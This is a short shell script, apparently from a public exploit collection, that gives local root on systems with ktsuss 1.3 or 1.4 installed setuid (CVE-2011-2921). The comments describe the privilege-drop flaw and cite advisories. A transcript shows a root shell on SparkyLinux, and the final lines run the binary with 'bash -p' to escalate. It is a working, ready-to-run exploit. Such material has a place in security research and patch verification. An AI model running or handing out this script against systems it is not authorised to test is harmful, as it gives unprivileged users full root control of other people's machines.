#!/bin/sh
# ktsuss <= 1.4 setuid local root exploit (CVE-2011-2921)
# ---
# ktsuss version <= 1.4 setuid executable fails to drop privileges,
# resulting in trivial privilege escalation to root.
#
# Originally discovered and reported by John Lightsey in 2011:
# - https://www.openwall.com/lists/oss-security/2011/08/13/2
# - https://security.gentoo.org/glsa/201201-15
#
# SparkyLinux 2019.08 and prior packages ktsuss version 1.3.
#
# Tested on:
# - ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64)
# - ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64)
# ---
# test@sparkylinux-5-x64:~$ id
# uid=1001(test) gid=1001(test) groups=1001(test)
# test@sparkylinux-5-x64:~$ ls -la /usr/bin/ktsuss
# -rwsr-xr-x 1 root root 14472 Feb  4  2009 /usr/bin/ktsuss
# test@sparkylinux-5-x64:~$ /usr/bin/ktsuss --version
# ktsuss 1.3 - Copyright (c) 2007-2008 David B. Cortarello
#
# Please report comments, suggestions and bugs to:
#         nomius@users.berlios.de
#
# Check for new versions at:
#         http://nomius.blogspot.com
#
# test@sparkylinux-5-x64:~$ /usr/bin/ktsuss -u `id -un` id
# uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test)
# test@sparkylinux-5-x64:~$ /usr/bin/ktsuss -u `id -un` /bin/bash -p
# bash-5.0# id
# uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test)
# bash-5.0#
# ---
# 2019-08-18 - <bcoles@gmail.com>
# https://github.com/bcoles/local-exploits/tree/master/CVE-2011-2921

if ! test -u "/usr/bin/ktsuss"; then
  echo '[-] /usr/bin/ktsuss is not setuid root'
  exit 1
fi

/usr/bin/ktsuss -u `/usr/bin/id -un` /bin/bash -p
